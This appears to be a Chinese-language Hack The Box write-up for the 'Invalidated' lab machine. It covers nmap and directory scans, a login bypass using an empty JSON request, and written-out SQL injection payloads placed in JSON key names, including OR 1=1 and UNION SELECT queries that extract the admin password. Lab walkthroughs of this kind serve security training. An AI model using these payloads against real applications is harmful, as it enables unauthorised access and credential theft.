信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Invalidated] └─ Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 23:26 AEST Nmap scan report for invalidated.htb (10.129.233.58) Host is up (0.015s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Sign up |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 7.09 seconds
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Invalidated] └─ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 220545 Output File: /home/h4m5t/Desktop/HTB/Invalidated/reports/http_invalidated.htb/_24-09-30_23-27-25.txt Target: http://invalidated.htb/ [23:27:25] Starting: [23:27:25] 404 - 539B - /images [23:27:26] 302 - 0B - /profile -> http://invalidated.htb/index.php/signin [23:27:27] 404 - 536B - /css [23:27:28] 404 - 535B - /js [23:27:28] 200 - 1KB - /signin
Sql注入 使用Wappalyzer发现,网站使用的web框架是codeigniter。
此次渗透测试过程中,成功通过 SQL注入 获取了 admin
用户的密码,并通过空的 JSON 请求绕过了登录验证,获得了 user_flag
。以下是整个攻击的详细步骤:
1. 通过空 JSON 绕过登录并获取 user_flag
根据目标应用的提示,发送一个空的 {}
JSON 请求可以绕过登录验证,并直接返回数据库中的第一个用户。在此情况下,返回的用户是管理员 admin
。通过此操作成功获取了管理员用户的详细信息,并提取了 user_flag
。
操作步骤 :
向登录接口 /SigninController/loginAuth
发送空的 JSON 请求。
服务器返回包含管理员 admin
用户信息的响应,其中包括 user_flag
。
示例请求 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /SigninController/loginAuth HTTP/1.1 Host : invalidated.htbUser-Agent : Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : en-US,en;q=0.5Accept-Encoding : gzip, deflate, brContent-Type : application/jsonX-Requested-With : XMLHttpRequestContent-Length : 46Origin : http://invalidated.htbConnection : keep-aliveReferer : http://invalidated.htb/signinCookie : ci_session=dh0vs6sesgpvcuo8maj3mq9b89d2rfhp{}
通过这个请求,成功提取了 user_flag
。
2. 识别 SQL 注入点 在获取 user_flag
之后,继续对登录接口进行测试,发现应用程序对 JSON 键名部分 没有进行适当的转义处理,存在 SQL 注入漏洞。通过构造 SQL 注入语句并将其放在 JSON 键名部分,成功绕过了应用的验证逻辑,确认了注入点。
初步测试的 SQL 注入 Payload :
1 2 3 4 { "username" : "admin" , "\" or 1=1 -- -" : "dummy_value" }
这段注入语句利用了经典的 OR 1=1
条件,使查询始终为真,绕过了应用程序的验证逻辑,验证了注入漏洞的存在。
3. 目标:提取 admin@invalidated.htb
用户的密码 通过进一步的分析,确定了需要从数据库中提取与 admin@invalidated.htb
关联的密码。假设数据库表中有 email
和 password
字段,构造了 UNION SELECT
注入语句,尝试从用户表中提取该用户的密码。
构造的 SQL 注入 Payload :
1 2 3 4 { "email" : "admin@invalidated.htb" , "\" UNION SELECT 1, password FROM users WHERE email='admin@invalidated.htb' -- -" : "dummy_value" }
解释 :
该注入语句通过 UNION SELECT
连接查询,尝试从 users
表中提取与 admin@invalidated.htb
关联的 password
。
使用 email='admin@invalidated.htb'
作为查询条件,定位目标用户。
4. 解决列数不匹配问题 在初步构造的注入中,由于列数不匹配,SQL查询报错:The used SELECT statements have a different number of columns
。为了解决这一问题,使用 NULL
作为占位符,使 UNION SELECT
查询的列数与原始查询匹配。
最终成功的 SQL 注入 Payload :
1 2 3 4 { "email" : "admin@invalidated.htb" , "\" UNION SELECT NULL, password, NULL, NULL, NULL FROM users WHERE email='admin@invalidated.htb' -- -" : "dummy_value" }
解释 :
UNION SELECT
查询中使用 NULL
作为占位符,确保查询的列数与原始查询的列数一致。
查询成功后,返回了 admin@invalidated.htb
用户的密码。
5. 获取 admin
用户的密码并提交为 flag 通过上述有效的 UNION SELECT
注入语句,成功从数据库中提取了 admin@invalidated.htb
用户的密码。提取的密码作为最终的 flag 进行提交,完成了此次 SQL 注入的全部目标。
总结 此次渗透测试展示了在不当输入过滤和验证情况下,如何利用 JSON 请求中的 键名部分 进行 SQL 注入攻击。具体流程如下:
通过发送空的 JSON 请求绕过登录验证,并获取 user_flag
。
识别 SQL 注入点后,构造初步的注入语句绕过验证逻辑。
构造 UNION SELECT
语句,从数据库中提取 admin@invalidated.htb
的密码。
通过使用 NULL
占位符解决列数不匹配问题,成功提取了管理员用户的密码。
最终,密码作为 flag 提交,完成此次测试。